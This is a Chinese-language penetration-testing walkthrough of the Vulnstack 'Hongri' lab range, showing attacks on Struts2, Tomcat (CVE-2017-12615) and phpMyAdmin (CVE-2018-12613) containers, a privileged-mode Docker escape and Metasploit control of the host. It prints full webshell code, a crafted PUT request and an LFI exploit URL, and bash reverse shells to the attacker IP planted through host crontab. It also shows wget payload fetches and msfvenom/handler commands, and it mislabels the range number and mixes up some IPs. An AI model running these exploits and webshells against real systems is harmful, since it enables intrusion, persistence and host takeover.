深入解析:万字讲解内网横向渗透vulnstack(四):红日靶场4实战全流程1-环境搭建+MSF控制Web服务器+Docker逃逸(CVE-2018-12613)

目录

一、拓扑搭建

1、拓扑图

2、角色表

3、环境搭建

(1)网络适配器配置

①修改Web的网卡配置

②修改DC网卡

③修改Win7网卡

(2)配置网段

①编辑虚拟网络编辑器

② vmnet1网卡

3、Web服务配置

(1)配置web虚拟机的网络

(2)查看ip地址

4、清空cs数据

二、信息搜集

1、探测存活主机

2、探测端口

3、探测服务

(1)2001端口

(2)2002端口

(3)2003端口

三、struts服务(2001端口)GetShell

1、检测漏洞

2、上传木马

3、连接冰蝎

4、发现docker

5、docker特权模式检测

四、tomcat服务(2002端口)GetShell

1、构造报文

2、bp抓包,将报文发送到repeater

3、上传木马

4、连接冰蝎

5、发现docker

6、dockert特权模式检测

7、docker逃逸

(1)fdisk -l

(2)挂在宿主机磁盘

(3)攻击机监听

(4)向宿主机写入定时任务

(5)反弹shell建立成功

五、phpmyadmin服务(2003端口 CVE-2018-12613)GetShell

1、漏洞原理

2、访问server_sql.php

3、写入木马

4、访问session文件生成木马

5、连接蚁剑

6、发现Docker环境

7、查看docker特权模式

8、Docker逃逸

(1)攻击机开启监听

(2)脏牛docker逃逸

(3)更新源+软件包

(4)更新软件包

(5)重新编译

(6)逃逸失败

六、MSF控制Web服务器

1、MSF生成木马

2、下载木马文件

4、MSF开启监听

4、Web服务器执行msf.elf

5、MSF监听成功

七、Docker特权模式逃逸总结

1、环境探测与权限确认

2、挂载宿主机文件系统

3、修改宿主机文件实现控制


本文通过红日靶场3的实战演练,通过Kali攻击机对外部Ubuntu跳板机上的三个Docker容器服务(Struts2、Tomcat、PHPMyAdmin)发起攻击。成功控制容器后,利用特权模式逃逸技术突破Ubuntu主机,进而渗透内网中的Windows7工作站和Windows Server2008域控制器。测试过程展示了从外网到内网、容器到主机的完整攻击链,涉及Struts2文件上传、Tomcat配置漏洞、PHPMyAdmin本地文件包含(CVE-2018-12613)等多种漏洞利用技术,重点检验了容器逃逸、权限维持和内网横向移动等关键攻防能力。整个环境采用双网卡跳板机设计,模拟真实企业网络架构,为全面评估网络安全防护能力提供了有效测试平台。

一、拓扑搭建

1、拓扑图

本渗透测试环境构建了一个典型的多层网络攻防场景。Kali攻击机位于外部网络,首先针对Ubuntu跳板机上的三个Docker容器服务(Struts2-2001端口、Tomcat-2002端口、PHPMyAdmin-2003端口)发起攻击,在获取容器权限后需要完成Docker逃逸和Ubuntu主机Root提权。成功控制这台双网卡跳板机后,攻击者以其为桥头堡渗透内部网络,依次横向移动至Windows 7工作站和Windows Server 2008域控制器,分别利用MS14-068、Zerologon和永恒之蓝漏洞实现权限提升,最终完成从外网到内网、从容器到主机的完整攻击链,全面检验容器安全、权限维持和内网横向移动等关键攻防能力。

graph LR
    subgraph External Network [Vmnet2: 192.168.59.0/24]
        A[Kali攻击机
192.168.59.128] end subgraph Web Jump Server B[Web跳板机 Ubuntu
外网:192.168.59.139] C[Web跳板机 Ubuntu
内网:192.168.183.128] subgraph Docker Containers D1[Struts2容器
端口:2001] D2[Tomcat容器
端口:2002] D3[PHPMyAdmin容器
端口:2003] end end subgraph Internal Network [Vmnet1: 192.168.183.0/24] E[内网目标Win7
192.168.183.129
MS14-068/永恒之蓝] F[内网DC目标
192.168.183.130
Zerologon/永恒之蓝] end A -->|攻击2001-2003端口| B B -->|Docker逃逸| C D1 -->|容器漏洞| B D2 -->|容器漏洞| B D3 -->|容器漏洞| B C -->|横向移动| E C -->|横向移动| F E -->|内网渗透| F

2、角色表

IP地址网卡配置网卡漏洞/特性
Kali攻击机192.168.59.128Vmnet2Kali Linux直接攻击源
Web跳板机192.168.59.139 (Vmnet2)
192.168.183.128 (Vmnet1)
双网卡

Ubuntu
Tomcat(docker2002端口)

Struts2(docker2002端口)

phpMyAdmin(docker2003端口)

内外网中转
内网目标Win7192.168.183.129Vmnet1Windows 7

MS14-068

永恒之蓝

内网DC目标192.168.183.130Vmnet1Windows Server 2008

Zerologon

永恒之蓝

3、环境搭建

(1)网络适配器配置

修改Web的网卡配置

Web为跳板机,两个网卡分别设置为主机模式vmnet1和vmnet2,具体如下所示。

修改DC网卡

将网卡配置为主机模式(Vmnet1),具体如下所示。

修改Win7网卡

将网卡配置为主机模式(Vmnet1),具体如下所示。

(2)配置网段

编辑虚拟网络编辑器

点击vmware-编辑-虚拟网络编辑器,进入到配置vmnet网卡的界面,如下所示。

vmnet1网卡

将vmnet1网段改为192.168.183.0/24,如下所示。

3、Web服务配置

(1)配置web虚拟机的网络

打开Web服务虚拟机,输入密码ubuntu登录系统。进入系统后按Windows键,输入terminal,进入shell页面,如下所示。

首先输入sudo su进入特权模式,然后使用docker ps -a查看所有容器,如下图红框所示。为了方便使用,可以右键将其固定到任务栏中,如下所示。

使用sudo docker start ec 17 09命令启动服务,启动后使用docker ps查看启动效果,如下所示启动成功。

(2)查看ip地址

使用ifconfig eth0和ifconfig eth1查看ip地址,如下所示。

4、清空cs数据

报告-清空数据,并删除所有之前的会话。

二、信息搜集

1、探测存活主机

nmap 192.168.59.0/24  发现ip地址为192.168.111.139,如下所示。

nmap -sn 192.168.59.0/24

2、探测端口

对192.168.59.139进行常用端口探测,如下所示出现敏感端口号22、2001,2002,2003

nmap 192.168.59.139

3、探测服务

(1)2001端口

访问http://192.168.59.139:2001  提示这是一个struts2的文件上传页面,如下所示。

http://192.168.59.139:2001

(2)2002端口

访问http://192.168.59.139:2002  提示这是一个tomcat页面,如下所示。

http://192.168.59.139:2002

(3)2003端口

访问http://192.168.59.139:2003  提示这是一个phpmyadmin页面,但是有报错,如下所示。

http://192.168.59.139:2003

需要修复一下,进入到/home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613目录中,重启容器。

cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613

docker-compose down

docker-compose up

再次访问http://192.168.59.139:2003 如下所示,这次成功了,且发现phpmyadmin版本为4.8.1。

三、struts服务(2001端口)GetShell

1、检测漏洞

在目标网址输入http://192.168.59.139:2001/ 点击检测漏洞,输入如下所示。

http://192.168.59.139:2001/

2、上传木马

将冰蝎木马上传,在输入框中粘贴冰蝎木马shell.jsp的内容,将木马命名为mooyuan.jsp,点击上传,提示上传成功,如下所示。

URL地址:http://192.168.59.139:2001/mooyuan.jsp
密码:rebeyond

3、连接冰蝎

4、发现docker

输入ls –al /发现docker文件,说明这是一个docker环境。因为当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

5、docker特权模式检测

(1)Docker特权模式简介

Docker 特权模式是一种高风险的容器运行模式。当使用 --privileged 标志启动容器时,意味着:

  • 能力全开:容器将获得 Linux 内核的所有能力。

  • 设备访问:容器可以访问主机上的所有设备。

  • 安全机制解除:很多安全限制(如 AppArmor、Seccomp)会被禁用。

(2)检测特权模式

执行whoami返回root用户,执行cat /proc/self/status | grep CapEff查看效果

一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。故而本环境无法进行逃逸。

四、tomcat服务(2002端口)GetShell

uCVE-2017-12615 是一个典型的 “配置不当”+“安全绕过” 型漏洞。其核心在于管理员或开发人员为了功能便利而牺牲了安全性(将 readonly设为 false),而 Tomcat 自身的安全防护机制又存在可被绕过的缺陷,最终导致攻击者可以轻松上传 WebShell,完全控制服务器。

1、构造报文

启动bp,同时浏览器配置bp代理,构造协议,在浏览器地址栏中输入ljn.jsp然后点击执行

2、bp抓包,将报文发送到repeater

3、上传木马

repeater中将GET协议,改为PUT协议并在ljn.jsp后加上/, 将冰蝎中的shell.jsp内容复制粘贴到PUT报文的data数据中,并点击发送,返回http状态为201说明上传成功,如下所示。

Tomcat 在处理路径时,会认为以 / 结尾的是一个目录,从而允许上传。但在文件系统层面,它最终会被创建为一个名为 ljn.jsp 的文件。完整的burpsuite发包内容如下所示。

PUT /ljn.jsp/ HTTP/1.1

Host: 192.168.59.139:2002

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 592

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

4、连接冰蝎

木马的密码为rebeyond,将木马的url链接添加到冰蝎中

http://192.168.71.129:2022/ljn.jsp

添加后双击该冰蝎会话,显示如下所示,说明冰蝎木马连接成功。

5、发现docker

输入ls –al /发现docker文件,说明这是一个docker环境。因为当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

6、dockert特权模式检测

执行whoami返回root用户,执行cat /proc/self/status | grep CapEff查看效果,一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动

7、docker逃逸

(1)fdisk -l

使用fdisk -l快速查看系统中有哪些磁盘和分区,这是因为攻击者在容器内执行fdisk -l。由于容器运行在特权模式下,它能够直接看到宿主机的物理磁盘设备。

通过fdisk -l获知宿主机磁盘为/dev/sda,其主分区sda1正是8G的Linux根文件系统。在Docker特权模式下,此信息成为逃逸关键:攻击者可据此直接挂载sda1至容器目录,从而获得宿主机文件系统的完全读写权限,进而植入SSH密钥、篡改计划任务或写入恶意程序,彻底突破容器隔离屏障,实现权限提升与环境逃逸。

fdisk -l  

Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors

Units: sectors of 1 * 512 = 512 bytes

Sector size (logical/physical): 512 bytes / 512 bytes

I/O size (minimum/optimal): 512 bytes / 512 bytes

Disklabel type: dos

Disk identifier: 0x00063af9

Device     Boot    Start      End  Sectors Size Id Type

/dev/sda1  *        2048 16779263 16777216   8G 83 Linux

/dev/sda2       16781310 20969471  4188162   2G  5 Extended

/dev/sda5       16781312 20969471  4188160   2G 82 Linux swap / Solaris

通过fdisk -l获知宿主机磁盘为/dev/sda,其主分区sda1正是8G的Linux根文件系统。在Docker特权模式下,此信息成为逃逸关键:攻击者可据此直接挂载sda1至容器目录,从而获得宿主机文件系统的完全读写权限,进而植入SSH密钥、篡改计划任务或写入恶意程序,彻底突破容器隔离屏障,实现权限提升与环境逃逸。

  • 主要目标/dev/sda1 - 这是宿主机的根文件系统所在分区

  • 文件系统类型83 Linux 表示标准的 Linux 文件系统(通常是 ext4)

  • /dev/sda1 被标记为可启动Boot 列有 * 号),进一步确认这是系统主分区

分区类型大小用途说明
/dev/sda183 Linux8G宿主机的根文件系统(主要目标)
/dev/sda25 Extended2G扩展分区容器
/dev/sda582 Linux swap2G交换分区

(2)挂在宿主机磁盘

将宿主机磁盘挂载到/ljn目录下

mkdir /ljn

mount /dev/sda1 /ljn  

(3)攻击机监听

接下来计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

nc -lvvp 6666

(4)向宿主机写入定时任务

执行bash -i >& /dev/tcp/192.168.59.128/6666 0>&1命令后可以与kali建立shell连接,由于我们希望实现宿主机与kaili建立攻击机,故而我们将内容写入到宿主机的磁盘中的定时任务中,命令如下所示。

touch /ljn/ljn.sh

echo "bash -i >& /dev/tcp/192.168.59.128/6666 0>&1" >/ljn/ljn.sh

echo "* * * * * root bash /ljn.sh" >> /ljn/etc/crontab

查看文件内容,如下所示写入成功。

(5)反弹shell建立成功

此时查看kali攻击机监听,已经连接成功,输入命令whoamiipaddr返回正确结果,说明渗透成功.

发现另一个内网ip地址192.168.183.128,说明内网网段为192.168.183.0/24。

五、phpmyadmin服务(2003端口 CVE-2018-12613)GetShell

1、漏洞原理

本次利用PHPMyAdmin 4.8.x版本中存在的本地文件包含漏洞(CVE-2018-12613),通过精心构造的请求将服务器上的Session文件包含并执行,进而利用MySQL日志功能创建Webshell。具体攻击流程如下:

  • Session信息获取:通过Cookie获得PHPMyAdmin的Session值(sess_XXXX),确认Session文件路径为/tmp/sess_XXXX

  • 漏洞触发与文件包含:构造特制URL触发本地文件包含漏洞,通过target参数包含服务器上的Session文件:

    sess_XXXX
  • Webshell直接写入:通过包含的Session文件执行SQL查询,利用PHP的file_put_contents函数直接创建Webshell:

    SELECT "')?>"
  • 后门访问:成功在Web目录创建mooyuan.php后门文件,攻击者可通过POST方式传递参数执行系统命令:

    http://target/mooyuan.php
    POST: ljn=system('whoami');

2、访问server_sql.php

访问目标URL http://192.168.59.139:2003/server_sql.php,查看Cookie值。

http://192.168.59.139:2003/server_sql.php

本次我们选择使用“右键-元素-网络”来查看,步骤如下所示。

点击重新载入或者刷新页面,进入到如下页面,点击当前报文index.php,在页面底部的右方点击cookies。在cookie中获取到phpmyadmin值3c1b4424c30833f7ecfeee09b9c8a9bb。

故而session文件位置为/tmp/sess_3c1b4424c30833f7ecfeee09b9c8a9bb。

3、写入木马

我们执行如下命令写入生成木马的SQL语句,利用PHPMyAdmin的SQL执行功能,向数据库发送特制查询SELECT "<?php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST[cmd]);?>')?>",具体如下所示。

select "<?php file_put_contents('/var/www/html/mooyuan.php','<?php @eval($_POST[ljn]);?>')?>"

4、访问session文件生成木马

基于CVE-2018-12613漏洞原理,构造特制攻击URL。其中通过双重URL编码绕过过滤,使用路径遍历序列定位到Session文件。

http://192.168.59.139:2003/?target=db_sql.php%253f/../../../../../../../../tmp/sess_3c1b4424c30833f7ecfeee09b9c8a9bb

在成功包含Session文件后,会解析并执行Session文件中的PHP代码利用PHP函数,在Web根目录直接创建名为shell.php的Webshell,该后门支持通过POST参数执行任意系统命令。

这一步要特别注意,要多执行一两次,因为写入到session需要时间,如下所示,进入docker查看确实成功生成木马文件mooyuan.php,密码为ljn,木马内容为<?php @eval($_POST[ljn]);?>

5、连接蚁剑

http://192.168.59.139:2003/mooyuan.php
密码ljn

6、发现Docker环境

在蚁剑工具的虚拟终端中执行ls -a /命令,发现docker文件,说明这是个Docker环境。

7、查看docker特权模式

执行whoami返回www-data用户,执行cat /proc/self/status | grep CapEff查看效果

一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。故而本环境无法进行特权模式逃逸。

8、Docker逃逸

(1)攻击机开启监听

接下来计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。

(2)脏牛docker逃逸

dirtycow-docker-vdso工具是一个利用 Dirty COW (CVE-2016-5195) 漏洞实现 Docker 容器逃逸 的 Proof-of-Concept (概念验证) 代码。它不像传统利用那样修改磁盘文件,而是通过篡改内存中的 vDSO 来让宿主机上的进程主动连接攻击者,从而获得一个宿主机上的 root shell。

https://github.com/scumjr/dirtycow-vdso

将源码下载到docker环境中并解压,如下所示:

​wget http://192.168.59.128:8888/dirty.tar.gz
tar xvf dirty.tar.gz
cd dirtycow-docker-vdso

在项目目录下执行make编译命令,如下所示报错。

(3)更新源+软件包

cp /etc/apt/sources.list /etc/apt/sources.list.backup
# 使用 archive.debian.org 的源(适用于旧版 Debian)
cat > /etc/apt/sources.list << 'EOF'
deb http://archive.debian.org/debian stretch main
deb http://archive.debian.org/debian-security stretch/updates main
EOF

(4)更新软件包

# 更新软件包列表
apt-get update
# 安装 vim-common(包含 xxd)
apt-get install -y vim-common --allow-unauthenticated

(5)重新编译

再次执行make进行重新编译,如下所示编译成功。

(6)逃逸失败

chmod +x 0xdeadbeef                                   # 第一步:赋予可执行权限
./ 0xdeadbeef 192.168.59.128 1234       # 第二步:运行程序并传入参数

脏牛漏洞docker逃逸失败

六、MSF控制Web服务器

1、MSF生成木马

利用MSFVenom工具生成一个针对Linux x64系统的Meterpreter反向TCP连接载荷,命令如下。

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.59.128 LPORT=4444 -f elf -o shell.elf

2、下载木马文件

攻击机(192.168.59.128)在shell.elf的目录中开启httpWeb服务,开启后在Web服务器(192.168.59.139)中执行wget http://192.168.59.128:8888/shell.elf  下载木马文件。

4、MSF开启监听

在Metasploit框架中配置并启动一个恶意载荷监听器,通过设置windows/x64/meterpreter/reverse_tcp载荷与LHOST、LPORT参数,持续监听本机4444端口的反向TCP连接,当目标系统执行匹配的木马程序后,将自动回连并建立完整的Meterpreter远程控制会话。

msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.59.128
set LPORT 4444
run

4、Web服务器执行msf.elf

Web服务器执行shell.elf,如下所示。

5、MSF监听成功

输入getuid返回root用户,如下所示渗透成功。

七、Docker特权模式逃逸总结

1、环境探测与权限确认

在成功获取容器内的Shell访问权限后,首先需要评估当前容器的权限级别。通过执行 cat /proc/self/status | grep CapEff 命令检查能力位图,若返回值为 0000003fffffffff 等接近全权限的掩码,则确认容器以特权模式运行。

cat /proc/self/status | grep CapEff

同时使用 fdisk -l 查看可用磁盘设备,为后续挂载操作做好准备,这是判断逃逸可行性的关键第一步。返回结果中会看到宿主机的硬盘/dev/sda1等设备。在非特权容器中,你无法看到或访问这些设备。

fdisk -l

fdisk -l 命令用于列出系统中所有磁盘分区表的详细信息,在 Docker 逃逸中,其核心作用是识别宿主机的物理磁盘设备,为挂载宿主机文件系统做准备。当容器以特权模式运行时,该命令能直接显示宿主机真实的磁盘设备(如 /dev/sda1/dev/vda1),攻击者通过将这些设备挂载到容器内部,即可突破隔离限制访问宿主机完整文件系统,这是实现挂载逃逸的关键第一步。

2、挂载宿主机文件系统

确认特权模式后,在容器内创建临时目录作为挂载点(如 /ljn)。使用 mount 命令将宿主机的物理磁盘(如 /dev/sda1 )挂载到该目录。此操作成功的关键在于特权模式绕过了设备访问限制,使得容器能够直接访问宿主机的存储设备,从而建立起从容器到主机文件系统的桥梁。

mkdir /ljn
mount /dev/sda1 /ljn

该命令首先创建挂载点目录 /ljn,随后将宿主机的物理磁盘设备 /dev/sda1 挂载至该目录,从而突破容器文件系统隔离限制,直接访问和操作宿主机根文件系统,为后续写入定时任务或植入恶意程序奠定基础。

3、修改宿主机文件实现控制

使用cd /ljn即进入到宿主机的文件系统,可以访问所有文件、配置和二进制程序。为了建立持久化控制,通常会向主机的 /root/.ssh/authorized_keys 写入SSH公钥,或创建计划任务/系统服务来维持访问权限。本关卡使用定时任务来获取控制权。

修改计划任务:crontab -e
运行反弹 Shell 到主机:bash -c 'bash -i >& /dev/tcp/攻击机IP/端口 0>&1'

以本关卡为例,写入定时脚本的方法如下所示。命令序列通过创建恶意脚本文件(/ljn/ljn.sh)并向其中写入反弹Shell指令,随后通过修改容器内crontab配置文件(/ljn/etc/crontab)植入每分钟执行一次的定时任务,实现向攻击主机192.168.59.128的6666端口建立持久化反向连接,最终完成从容器到宿主机或外部网络的权限突破与维持。

touch /ljn/ljn.sh
echo "bash -i >& /dev/tcp/192.168.59.128/6666 0>&1" >/ljn/ljn.sh
echo "* * * * * root bash /ljn.sh" >> /ljn/etc/crontab

posted @ 2026-02-01 10:50  yangykaifa  阅读(5)  评论(0)    收藏  举报